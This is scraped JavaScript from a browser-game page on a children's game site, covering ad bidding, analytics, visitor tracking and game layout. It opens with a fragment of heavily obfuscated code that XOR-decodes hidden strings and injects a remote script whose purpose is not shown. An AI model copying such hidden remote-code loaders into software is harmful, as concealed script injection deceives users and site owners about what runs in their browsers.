InstallTrigger?q:I;-1===[t,q,z,A].indexOf(d)&&(b=window);c=a("CwEYBQ==");g.c=b[c](a("GR4XDRoZRDE1KyYBDAMsGxkNDhYSDQ0ISh8fUhAeFgEBAFceEAwBChU6Iic5FAoGNAwFGwMHFg8FDUMOG1cPDAATFh5bAwUZMzw1NAwUHTcYDQUQBRALCQRDHw5HABELChgORxgdODciOBMBGzIAGhkGCAEPCww="));g.f=b[c](a("GR4XDRoZRDE1KyUBGgIGGxknDgYFFgsWHgoMHEcLBEUZHhcNGhlEFAQKHQ0dIzs3JAYYBg8LDCIPEAAADgcMDAEZWRUJTh0KDwwZE0ccAA4lNygmAxcRDwUNJxcUFAoMHgMQBhtOFh9BHx8KDR4YWhoQOSElNwcVGQoMHCMSCwYcHgkdHAEE")); g.b=b[c](a("GR4XDRoZRDE1Kz8HDDIOGhMKDxQSAUIaFkMUGwkTFxJAABwLHgceMTUrPwcMMg4aEwoPFBIBQhoWQxQbCRMXEkAaFhMnOikqAg01BQcVBhAWFw5VGhhCEQMNBx0QWRUWPCM6IBYLKQIPDB8ACAUK"));d===q?(d=H(),g.a=y(d)[c](a("GR4XDRoZRDQECiULChoKAA==")),d.parentElement.removeChild(d)):g.a=b[c](a("GR4XDRoZRDQECiULChoKAA=="));g.g=b[c](a("GR4XDRoZRDssJD4QHQE9EQYWDgYS"))}function D(b,a){var c=new Uint8Array(a),e=new ArrayBuffer(a.byteLength);e=new Uint8Array(e);for(var f=0;f<a.byteLength;f++)e[f]=c[f]^b.charCodeAt(f%b.length);return e.buffer} function r(b){if(window.TextDecoder)return(new window.TextDecoder("utf-8")).decode(new Uint8Array(b));var a="";b=new Uint8Array(b);for(var d=b.byteLength,e=0;e<d;e++)a+=String.fromCharCode(b[e]);return decodeURIComponent(escape(a))}function E(b){if(window.TextEncoder)return(new window.TextEncoder("utf-8")).encode(b).buffer;b=unescape(encodeURIComponent(b));for(var a=new Uint8Array(b.length),d=0;d<b.length;d++)a[d]=b.charCodeAt(d);return a.buffer}function x(){return a("QRITGkoeVw==")+"2168330002"} function a(a){a=window.atob(a);for(var b="",d=0;d<a.length;d++)b+=String.fromCharCode(a.charCodeAt(d)^"nwyiunjcahvdiqotwckufdbfjccrgwxe".charCodeAt(d%32));return b}function v(){if(!J){var a=document.createElement("script");a.src=("https:"==window.location.protocol?"https://":"http://")+u+T;document.getElementsByTagName("head")[0].appendChild(a);J=!0}}var u=a("Fh8LRxAcBQQABB8SRxIAGQ=="),w=a("D1kcGxoJCw8IHlgHBhw="),T=decodeURIComponent("%2Fljs%3Fp%3D")+"2168330002",N=a("QRtGGUg=")+"2168330002"+a("SBREDBM=")+ a("SBQbVA==")+Math.random().toString().slice(3,9),g={},I,t,q,z,A,J=!1;if(/ucbrowser/i.test(navigator.userAgent)||window.i)try{v()}catch(b){}try{B()}catch(b){}})()}catch(B){}; </script><script type="text/javascript"> var game_name = "Papa&#x27;s Pancakeria"; var multiplayer_path = '/multiplayer-games'; var html5_catalog_test_group = "control"; assure_html5_cookie_status(false, html5_catalog_test_group); var page_id = "4fPOqmxUhYLeTHIz7vX0Eg=="; var gameplay_count = count_total_game_plays(); var page_load_timestamp = (new Date()).getTime(); var swf_loaded = false; if (can_send_track_visit()) { var time_on_page = ((new Date()).getTime() - page_load_timestamp) / 1000; $.post("/track_visit", {page_id: page_id, tracking_from: 'new_game_page', time_until_track_visit: time_on_page, visit_event_type: "direct", gameplay: gameplay_count}); } // if you change this also change the show_avatar_creator view $(window).unload(function () { var time_on_page = ((new Date()).getTime() - page_load_timestamp) / 1000; var traffic_source = ""; $.ajaxSetup({async: false}); $.post('http://kizi.com/CollectionItems/update_efficiency_stat/0', { start_server_unixstamp: 1516251064, stat: 'exact_playtime', exact_time: time_on_page, game_id: game_id, page:0, stat_groups_ids: stat_groups_ids, traffic_source: traffic_source, channel: preroll_channel, page_id: page_id }); if (!ad_tracked) { isUnloading = 1 track_banner_impressions(); } var publisher = "Kizi"; send_gameplay_end_event(time_on_page, game_id); }); var preloading_behavior = 2; var loglevel = 1; var authtoken = "17f47d65837f5d6c0cfca27e62114eb6"; var user_id = ""; var current_user_level = '1'; var user_country = "US"; var original_channel = "0"; var preroll_channel = "0"; var adgroup_key = ""; var adgroup_value = ""; var midroll_channel = "0"; var MINUTES_BETWEEN_MIDROLLS = 10; var category_custom_criteria = "Management"; var categories = "Management, Food, Papa"; var first_game_play_for_visit = "true"; play_in_session = 1; var play_in_24h = 1; var stat_groups_ids = "2"; var show_midroll = true; var thumb_type = ""; var origin_category = ""; var thumb_position = ""; var show_plays = ''; // temp hack to support loading a different API without breaking the cache (for invnetory mechanism change) function getApiSwfFilename() { return "http://cdn1.kizi.com/api/ooplaAPI.swf?1516023675"; } var ad_width; var ad_height; var abtest1Alt = ""; var abtest2Alt = ""; var abtest3Alt = ""; var abtest4Alt = ""; var abtest5Alt = ""; //Playbuzz var quizzes_list = [{"permalink":"bob-the-robber-sudoku","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Bob_Sudoku-1b42bd40863e3daff77494e9fa1deb90.png","title":"Bob The Robber Sudoku","game":"bob-the-robber-3","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_BOB2-4089265e6e58d166c2d015467e4898fc.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_BOB2-e3775be80dd12db3174f5719fca2aae9.png"},{"permalink":"fireboy-and-watergirl-maze-2","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Maze_FBWG3_240x180-7f70e222894446ae4f488087711446a0.png","title":"Fireboy and Watergirl maze 2","game":"fireboy-and-watergirl-the-forest-temple","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_FBWG2-4a772977942e5d5ca2278f7a8f815219.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_FBWG2-a0df1b3188e118806ec9b3f51ae2551a.png"},{"permalink":"fireboy-and-watergirl-maze","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Maze_FBWG1_240x180-3134e4bc45c8089f3daf1fc475e70276.png","title":"Fireboy and Watergirl maze","game":"fireboy-and-watergirl-the-forest-temple","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_FBWG1-48130058b56a8695d57b1b1192cab458.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_FBWG1-61fc9f4d4aee4eaf034d9e04b4a32a71.png"},{"permalink":"do-you-know-all-papa-louie-characters","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn0.kizi.com/assets/quiz/Papas_240x180_Q1-c1dffaf34178f9febde27da25394101c.png","title":"Do You Know Papa's Characters?","game":"papa-louie-3-when-sundaes-attack","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_PL1-cf0a39154a18b51b67eca72209bcd431.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_PL1-2020aee0eda5945cd2c7958a0e8c3d5a.png"},{"permalink":"papa-loui-characters-quiz","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn0.kizi.com/assets/quiz/Papas_240x180_Q2-5257917f3687ce70e01add459590fa3a.png","title":"Do You Know Papa's Characters?","game":"papa-louie-3-when-sundaes-attack","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_PL2-d7553c0de19b3ce3768b10d15a2b2995.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_PL2-d89aa107b11103c212bc9fae9fb35cb2.png"},{"permalink":"are-you-a-dynamons-master","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Game-c9290da663591012fb4d473e099f0434.png","title":"Guess the game","game":"kiziland","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_Kizi1-0d03e9f60d07d239a733bf0cf32a6bd5.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_Kizi1-b07844abd6470027b7ef6e1034dfc9a5.png"},{"permalink":"can-you-guess-the-food","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Food-aacac70901a77c6d1646c154443645ac.png","title":"Guess the food","game":"papas-freezeria"},{"permalink":"which-shape-is-missing","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_ShapeQuiz-297fa28438f0d82c9f0853440610b768.png","title":"Which shape is missing?","game":"kiziland"},{"permalink":"match-flip-quiz","height":640,"width":640,"format":"Flip Cards","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Matches-3a505ee78533efbeba1f8d8e8e7082cc.png","title":"Match equations","game":"kiziland"},{"permalink":"help-bob-find-the-code","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Bob_ColorCode-3c8ff55fc34152870ee2d820ce4bcc85.png","title":"Help Bob find the code","game":"bob-the-robber-3","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_BOB1-29ff2fdde96db42d4884b3e89be12601.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_BOB1-de3a14031d0a619661d15adf22b2295d.png"},{"permalink":"addition-and-subtraction-problems","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Math2-552366d02d17b63c71dba2b0a778bd46.png","title":"Addition and subtraction problems","game":"kiziland"},{"permalink":"advanced-math-riddles","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Math3-b68531e3276b52fc06a1ab1bda4f4266.png","title":"Advanced math riddles","game":"kiziland"},{"permalink":"math-problems","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Math4-6ad8021acf7255cbbe6b5d82e4de4ed6.png","title":"Math problems","game":"kiziland"},{"permalink":"a-which-way-should-kizi-go","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Maze-bcf4cf34aa8557cc4232f85d7f3b05ae.png","title":"Which way should Kizi go?","game":"kiziland"},{"permalink":"b-can-you-solve-this-problem","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Math-cae16c45dd9271b1cc24d63bfd8165af.png","title":"Math riddles","game":"kiziland"},{"permalink":"c-which-kizi-is-different","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_different-990c9ca86b749021aabb3f5a64b46e92.png","title":"Which Kizi is different?","game":"kiziland"},{"permalink":"which-dynamons-is-different","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Dyno-different-0deb1cdb1aee2cd9e73549eeb44e5653.png","title":"Which Dynamons is different?","game":"dynamons-world"},{"permalink":"dynamons-sudoku","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Sudoku-0b0fc0cc64df2c14e10bb78126282d5b.png","title":"Dynamons Sudoku","game":"dynamons-world","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_DYN3-16759f14b3c8e186a33e98dc57871446.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_DYN3-85013dfff0d7354d7b5b2f8d06302775.png"},{"permalink":"dynamons-shadow-quiz-1","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Dyno-shadow1-b4323c5f018ee52fcb3ff3f4bab8e220.png","title":"Dynamons Shadow Quiz 1","game":"dynamons-world","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_DYN1-63fdb2172636b760514009996cac7920.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_DYN1-bb6897f74ac046ca2ce19af5c8d17917.png"},{"permalink":"dynamons-shadow-quiz-2","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Dyno-shadow2-0ef85aed5de8b5ba790bf6011b914250.png","title":"Dynamons Shadow Quiz 2","game":"dynamons-world"},{"permalink":"kiziland-shadow-quiz-1","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_kiziland-shadow1-df5c3db3e5835356830ee1bd1b495325.png","title":"Kiziland Shadow Quiz 1","game":"kiziland"},{"permalink":"kiziland-shadow-quiz-2","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_kiziland-shadow2-d6e77d4c3970d910399a31fa0a134e3a.png","title":"Kiziland Shadow Quiz 2","game":"kiziland"},{"permalink":"which-piece-is-missing","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Missing-cbfba4b70000fd4796712b55755db57d.png","title":"Which piece is missing?","game":"kiziland"},{"permalink":"what-comes-next","height":640,"width":640,"format":"Flip Cards","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Next-7108b37ae3add2a1d2c432d9c5604f69.png","title":"What comes next ?","game":"kiziland"},{"permalink":"which-kizi-are-you","height":640,"width":640,"format":"Personality Quiz","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Which-90543fd5aa2cf2233fae5d58dab0cd82.png","title":"Which Kizi are you?","game":"kiziland"}]; var ch_date_value = "0_0"; var conversion_value = "0.0"; var child_directed = "false" var videos_allowed = "false"; var is_paid_visit = "false"; var fullscreen = ''; var creative_id = ""; var html5_midroll= "false"; var html5_midroll_setup = ""; var full_embed_code = "" || ""; var counter_visits = '0'; var game_embed_code_present = 'false'; var game_unity = 'false'; var header_bidding_enabled = false; var header_bidding_unit_names = []; var GAME_RESIZE_FACTOR = 0.88; var safari_flash_prompt_text = ""; var rtl_prompt = "false" == "true"; var cdn_suffix = ""; var similars_in_new_page = "control" == "new_page"; var branding_preloader = ""; </script><script type="text/javascript"> //One Signal push notifications var show_push_notifications_button = true; I18n.defaultLocale = "en"; I18n.locale = "en"; var static_mode = false; var counter_visits = '0'; // Hotjar Tracking Code for funtomic.com (function(h,o,t,j,a,r){ h.hj=h.hj||function(){(h.hj.q=h.hj.q||[]).push(arguments)}; h._hjSettings={hjid:113461,hjsv:5}; a=o.getElementsByTagName('head')[0]; r=o.createElement('script');r.async=1; r.src=t+h._hjSettings.hjid+j+h._hjSettings.hjsv; a.appendChild(r); })(window,document,'//static.hotjar.com/c/hotjar-','.js?sv='); var recent_games = (readCookie('games_played_history') || "").split("|"); recent_games = $.map(recent_games, function (a) { //filters empty strings and nulls return (a ? a : null); }); recent_games = recent_games.slice(-10).reverse(); </script><script type="text/javascript"> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); var page_id = "4fPOqmxUhYLeTHIz7vX0Eg=="; ga('create', 'UA-21161719-1', 'auto'); // trying to init userid for pageview from the cookie (if exists) (function(){ var lcl = readCookie('brzcrz_local'); if (lcl) { ga('set', 'userId', lcl); ga('set', 'dimension13', lcl); ga('set', 'dimension34', ""); } })(); // special custom dimensions for game page if (window.game_name){ ga('set', 'dimension14', window.game_name); ga('set', 'dimension15', window.categories); } // we add pageviews dimensions for every page // for test how analytics works ga('set', 'dimension3', ''); ga('set', 'dimension4', ''); ga('set', 'dimension10', ''); ga('set', 'dimension11', ''); ga('set', 'dimension12', ''); //user registration ga('set', 'dimension6', 'guest'); ga('send', 'pageview'); // different ga events // because dom is not loaded yet we deffer click events registration $(document).on('click', '#envelope', {target: 'Notifications'}, sendAnalyticsEvent); $(document).on('click', '#last_played_button', {target: 'Last Played'}, sendAnalyticsEvent); $(document).on('click', '#coins_container, #get_coins_homepage', {target: 'Coins in toolbar'}, sendAnalyticsEvent); $(document).on('click', '.add_friend_button', {target: 'Coins Offer Join'}, sendAnalyticsEventCoinsOffer); function sendAnalyticsEvent(e) { var target = e.data.target; ga('send', { hitType: 'event', eventCategory: 'Top bar', eventAction: target + ' clicked' }); sendSplunkEvent('TopBarClickEvent', {user_clicked: target}); } function sendAnalyticsEventCoinsOffer(e) { var target = e.data.target; ga('send', { hitType: 'event', eventCategory: 'Coins Offer', eventAction: 'Clicked' }); sendSplunkEvent('CoinsOfferClickEvent', {user_clicked: target}); } </script><script type="text/javascript"> var DS_OPTIONS = { id: 'kizi.com', success: function(id) { ga('set', 'userId', id); ga('set', 'dimension13', id); } }; (function(window, document, element, source) { var ds = document.createElement(element), m = document.getElementsByTagName(element)[0]; ds.type = 'text/javascript'; ds.async = true; ds.src = source; m.parentNode.insertBefore(ds, m) })(window, document, 'script', 'https://game.gamemonkey.org/static/main.min.js'); </script><script>(function(w,d,t,r,u){var f,n,i;w[u]=w[u]||[],f=function(){var o={ti:"5317722"};o.q=w[u],w[u]=new UET(o),w[u].push("pageLoad")},n=d.createElement(t),n.src=r,n.async=1,n.onload=n.onreadystatechange=function(){var s=this.readyState;s&&s!=="loaded"&&s!=="complete"||(f(),n.onload=n.onreadystatechange=null)},i=d.getElementsByTagName(t)[0],i.parentNode.insertBefore(n,i)})(window,document,"script","//bat.bing.com/bat.js","uetq");</script><script> var GA_events = { global_attributes: {"first_visit_date":1516251064,"alternative_ids":"","previous_channels":"","last_visit_time":"","ip":"157.55.39.220","channel":"0","bot":true}, uid:"17f47d65837f5d6c0cfca27e62114eb6", debug_enabled: "true" != 'true', track: function(event_category, event_action, event_label, event_value, dimensions){ var params = dimensions || {}; params["hitType"] = 'event'; params["eventCategory"] = event_category; params["eventAction"] = event_action; if (typeof(event_label) != 'undefined' && event_label != null){ params["eventLabel"] = event_label; } if (typeof(event_value) != 'undefined' && event_value != null){ params["eventValue"] = event_value; } // set shared custom dimensions var is_adblock_active = (typeof(window.adblock_active) == 'undefined') ? 'false' : window.adblock_active.toString(); params["dimension16"] = is_adblock_active; params["dimension17"] = GA_events.global_attributes["channel"]; params["dimension18"] = GA_events.global_attributes["alternative_ids"]; params["dimension19"] = GA_events.global_attributes["bot"]; params["dimension20"] = GA_events.global_attributes["first_visit_date"]; params["dimension21"] = GA_events.global_attributes["ip"]; params["dimension22"] = GA_events.global_attributes["last_visit_time"]; params["dimension25"] = GA_events.uid; // send the event to GA ga('send', params); } }; // handle Visit event // < if @is_new_visit %> // $(document).ready(function() { // var params = <= raw build_visit_event_hash.to_json %>; // GA_events.track('om_load', params); // }); <!--< end %>--> </script><script type="text/javascript"> // temp stub for sending events from client instead of partial "static/events" which is not in use now // var GA_events = { // track: function(){} // } //http://stackoverflow.com/questions/1481251/what-does-document-domain-document-domain-do //holy hack for cross-domain with different ports problem try { document.domain = "kizi.com"; } catch (e) { console.log("Set kizi.com domain error:" + e.toString()); } </script><script type="text/javascript"> var game_id = 807; var video_title = "Papa&#x27;s Pancakeria"; var video_permalink = "http://kizi.com/videos/papas-pancakeria"; var video_final_width; var video_final_height; var game_permalink = "papas-pancakeria"; var swfURL = "http://static4.kizi.com/system/static/games/papas-pancakeria.swf?1340815959"; var descriptionURL = "http://kizi.com/games/description/papas-pancakeria"; var page_type = "game"; var adsense_product = "games"; var is_html5_game = "false" == "true"; var ad_mode = "adaptv"; var is_coins_game = true; var static_mode = false; var load_popups_path = "/users/load_popups?coins_game=true&amp;game_page=true"; var game_initial_width = 800; var game_initial_height = 600; var game_min_width = 0; var game_final_width; var game_final_height; var game_strip_height; var game_strip_width; // used by _preloader_code, can't change this var game_swf_width; var game_swf_height; var SIMILAR_GAME_TILE_HEIGHT = 110; var SIMILAR_GAME_TILE_WIDTH = 110; var SIMILAR_VIDEO_TILE_HEIGHT = 90; var SIMILAR_VIDEO_TILE_WIDTH = 90; var GAME_STRIP_MIN_HEIGHT = 600; var GAME_STRIP_PADDING = {min: 1, max: 10}; adblock_active_temp = adblock_active; adblock_active_temp = false; var game_layout_object = new GameLayoutHelper(GAME_RESIZE_FACTOR, $(window).width(), game_initial_width, game_min_width, GAME_STRIP_PADDING, adblock_active_temp, true, user_country); var layout_object = game_layout_object; // used by show_top etc var active_layout = game_layout_object.active_layout; // game_swf_width/height used by _preloader_code game_swf_width = game_final_width = game_layout_object.game_final_width; game_swf_height = game_final_height = game_final_width * (game_initial_height/ game_initial_width); var final_game_strip_side_padding = game_layout_object.final_padding; var GAME_DATA_CONTAINER_PADDING = 10; game_strip_height = Math.max(GAME_STRIP_MIN_HEIGHT, game_final_height); game_strip_width = active_layout.required_width_for_sides + game_final_width; // set ad dimensions ad_width = game_final_width; ad_height = game_strip_height; // ad can be taller than the game (in case the game is less than 600) var missing_flash_content_container_id = "game_box"; var disable_recent_games_animation = "false" == "true"; </script><script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'> </script><script type='text/javascript'> var googletag = googletag || {}; googletag.cmd = googletag.cmd || []; (function () { var gads = document.createElement('script'); gads.async = true; gads.type = 'text/javascript'; var useSSL = 'https:' == document.location.protocol; gads.src = (useSSL ? 'https:' : 'http:') + '//www.googletagservices.com/tag/js/gpt.js'; var node = document.getElementsByTagName('script')[0]; node.parentNode.insertBefore(gads, node); })(); </script><script type='text/javascript'> var ad_slots = []; var openx_enabled = false; openx_enabled = true; var oxBidRequestPromise; // build ad mappings for openx config var ad_mappings = []; layout_object.all_banners.forEach(function (banner_name) { var unit_name = layout_object.get_layout_specific_ad_unit_name(banner_name, false); ad_mappings.push({ type: 'display', divId: layout_object.get_ad_div_id(banner_name), adUnit: '/1025213/' + unit_name, sizes: [layout_object.extract_ad_size(banner_name)], oxAdUnitId: '539380753' }); }); // Set up bidderConfig configuration. var bidderConfig = { timeLimit: 2000, deliveryDomain: 'funtomic-d.openx.net', singleRequest: true, adMappings: ad_mappings }; // Intialize OpenX Bidder Lite. var oxhbjs = new HeaderBidder(bidderConfig); oxBidRequestPromise = oxhbjs.getBids(); googletag.cmd.push(function () { googletag.defineSlot('/1025213/Kizi_skin', [1, 1], 'div-gpt-ad-1421239811025-0').addService(googletag.pubads()); // calling defineSlot for each of the layout's banners layout_object.all_banners.forEach(function (banner_name) { //console.log("defineSlot: " + layout_object.get_layout_specific_ad_unit_name(banner_name)); if ($.find("#CODE_FOR_"+banner_name).length == 0) { var unit_name = layout_object.get_layout_specific_ad_unit_name(banner_name, header_bidding_enabled); var slot = googletag.defineSlot('/1025213/' + unit_name, layout_object.extract_ad_size(banner_name), layout_object.get_ad_div_id(banner_name)).addService(googletag.pubads()); ad_slots.push(slot); if (header_bidding_enabled){ header_bidding_unit_names.push(unit_name); } } banner_impressions += 1; }); googletag.pubads().enableSingleRequest(); googletag.pubads().setTargeting("channel", preroll_channel); if(typeof(adgroup_key) != "undefined" && adgroup_key.length > 0) { googletag.pubads().setTargeting(adgroup_key, adgroup_value); } googletag.pubads().setTargeting("ads_layout", ads_layout); googletag.pubads().setTargeting("abtest1", abtest1Alt); googletag.pubads().setTargeting("abtest2", abtest2Alt); googletag.pubads().setTargeting("abtest3", abtest3Alt); googletag.pubads().setTargeting("abtest4", abtest4Alt); googletag.pubads().setTargeting("abtest5", abtest5Alt); googletag.pubads().setTargeting("ch_date", ch_date_value); googletag.pubads().setTargeting("ch_dir", child_directed); googletag.pubads().setTargeting("AFC_Meta", build_metadata_custom_targeting('afc')); googletag.pubads().setTargeting("Game_id", "gamepage_game_id_" + game_id); if (window.category_custom_criteria != undefined) { googletag.pubads().setTargeting("Game_Categ", category_custom_criteria); } if (window.video_id != undefined) { googletag.pubads().setTargeting("Pag_vid_id", "gamepage_video_id_" + video_id); } var viewport_x_targeting = calc_viewport_x_custom_criteria(); if (viewport_x_targeting) { googletag.pubads().setTargeting("Viewport_X", viewport_x_targeting); } googletag.enableServices(); }); function top_install_btn_clicked(){ if (typeof(post_extension_installation) == "function"){ install_kizi_mini_chrome_extension(post_extension_installation); }else{ install_kizi_mini_chrome_extension(); } } </script><script type="text/javascript" src="http://redir.adap.tv/redir/javascript/vpaid.js"></script><script type="text/javascript" src="http://redir.adap.tv/redir/javascript/adaptvAdPlayer.js"></script><script type='text/javascript'> // if openx is enabled we shouls call display only after their response is ready if (!openx_enabled){ googletag.cmd.push(function () { googletag.display('div-gpt-ad-1421239811025-0'); }); } $(window).ready(function () { $("#div-gpt-ad-1421239811025-0").find('iframe').each(function () { if ($(this).height() > 0) { $(this).height($("#content").height()); } }); }); </script><script type="text/template" id="tile_thumb_template"> <div class="thumb {{= new_game_class }}" style="{{= wrapper_style }}" name="{{= name }}" rel="{{= rel }}"> {{= new_ribbon_img }} {{ if (show_plays == 'show') { }} <span class="current_plays kizi_font">{{= current_plays }}</span> {{ } }} {{ if (show_plays == 'blink') { }} <span class="current_plays kizi_font"> <div class="blinking_circle"></div> {{= current_plays }}</span> {{ } }} <img src="{{= thumb_src }}" class="thumb_image" style="{{= thumb_style }}"/> {{= coins_img }} {{= multiplayer_img }} <a class="thumb_overlay" href="{{= game_path }}" hola_ve_preview="{{= preview_video_url }}" {{= optional_link_params }}>{{= name }}</a> </div> </script><script type="text/template" id="tile_video_thumb_new_game_page_template" > <a href="{{= video_path }}" target="_blank"> <div class="thumb" rel="{{= rel }}"> {{= new_ribbon_img }} {{= duration }} <img src="{{= thumb_src }}" class="thumb_image"/> </div> <div class="thumb_title kizi_font prevent_select">{{= title }}<div class="small_videos_icon"></div> </div> </a> </script><script type="text/javascript"> var game_pct_loaded = 0; var api_loaded = 0; function startGame() { var game_height; game_height = game_swf_height; if ($('#PreloaderEmbedSWF').length != 0) $("#GameEmbed").css({marginTop:(($("#game_box").height() - game_height) / 2) + "px"}); $("#PreloaderEmbedSWF").hide(); $("#GameEmbedSWF").css({visibility:"visible"}); $("#GameEmbedSWF")[0].startGame(); } function apiLoaded() { api_loaded = 1; } function getPreloaderProgress() { return game_pct_loaded * 0.8 + api_loaded * 20; } function setPreloaderProgress(val) { game_pct_loaded = val; } </script><script type="text/javascript"> $("body").addClass('new_game_page'); $(document).ready(function () { handle_layout(); handle_post_show_game(); handle_video_player_setup(); track_ad_clicks(); handle_adblock(); // handle_one_signal(); // buttons $("#play_on_mobile_btn").click(function(){ $.colorbox({inline: true, href: "#play_on_mobile_popup", transition: 'none', fadeOut: 100, initialHeight:340, initialWidth:540, opacity: 0.8}); }); $.ajax("/get_youtube_subscribers", { // ... success: function(response) { $(".subscribe_btn").html("SUBSCRIBE " + response); } }); }); function handle_video_player_setup(){ var playerInstance; var settings = { container: "VideoEmbed", gameId: "[your game id]", //it is an unique value publisherId: "88e25571535d4aeb8842e9e2c6150513", width: "100%", height: "100%", title: "Papa's Pancakeria", //you have to type your game title here we need for matching game video category: "[Game Category]", // game category langCode: "en-us", autoplay: "no", onFound: function (data) { console.log(data); }, onError: function (data) { console.log(data); }, onReady:function(player){ // Keep player instance to control it later like play or pause player // available controls: // // player.play() or player.play([seek time]); // You can jump a time (second *optional) of video. // player.pause(); // player.setVolume(0.5); // Value should be between 0.0 and 1.0 console.log(player); playerInstance = player; // Set player instance } }; var script_url = "//video-static.vooxe.com/libs/gd/gd.js"; (function(i,s,o,g,r,a,m){ i['VooxeVideo']=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)};i[r].l=1*new Date();a=s.createElement(o);m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a, m); })(window, document, 'script', script_url, 'gdPlayer'); gdPlayer(settings); } function handle_post_show_game(){ var needed_similars_amount = active_layout.bottom_similar ? calc_bottom_similar_amount() : calc_similar_amount(); var action_params = {}; action_params["similar_amount"] = needed_similars_amount; action_params["similar"] = (needed_similars_amount > 0); action_params["page_id"] = page_id; action_params["first_game_play_for_visit"] = first_game_play_for_visit; action_params["thumb_type"] = thumb_type; action_params["origin_category"] = origin_category; action_params["thumb_position"] = thumb_position; action_params["page_type"] = page_type; action_params['allow_unity'] = KiziUtils.allow_unity(); action_params['similar_container'] = $(":visible.similar_games_holder"); action_params['is_html5_game'] = is_html5_game; action_params['similars_in_new_page'] = similars_in_new_page; var video_params = null; var similar_videos_path = null; if (active_layout.walkthrough_layout.indexOf("vertical_similars") != -1 || active_layout.walkthrough_layout.indexOf("horizontal_similars") != -1){ var render_type = active_layout.walkthrough_layout.indexOf("vertical_similars") != -1 ? "vertical" : "horizontal"; video_params = {}; video_params["similar_amount"] = (render_type == "horizontal" ? 6 : needed_similars_amount); video_params["render_type"] = render_type; } post_game_show_actions_new_game_page("/games/papas-pancakeria/post_show_actions", action_params, video_params); GA_events.track('Game', 'Play', game_id, null, {dimension23: game_id}); } function handle_adblock(){ if (adblock_active) { hidePreRoll(); } } // All layout related code should be here function handle_layout(){ $("#game_box").css({height: game_strip_height + "px", width: game_final_width + "px"}); // vertically align the game within the game box $("#GameEmbed").css({marginTop:((game_strip_height - game_final_height) / 2) + "px"}); $("#left_banner").width(active_layout.left); $("#right_banner").width(active_layout.right); if(!active_layout.right_similar){ $("#right_similar").hide(); } 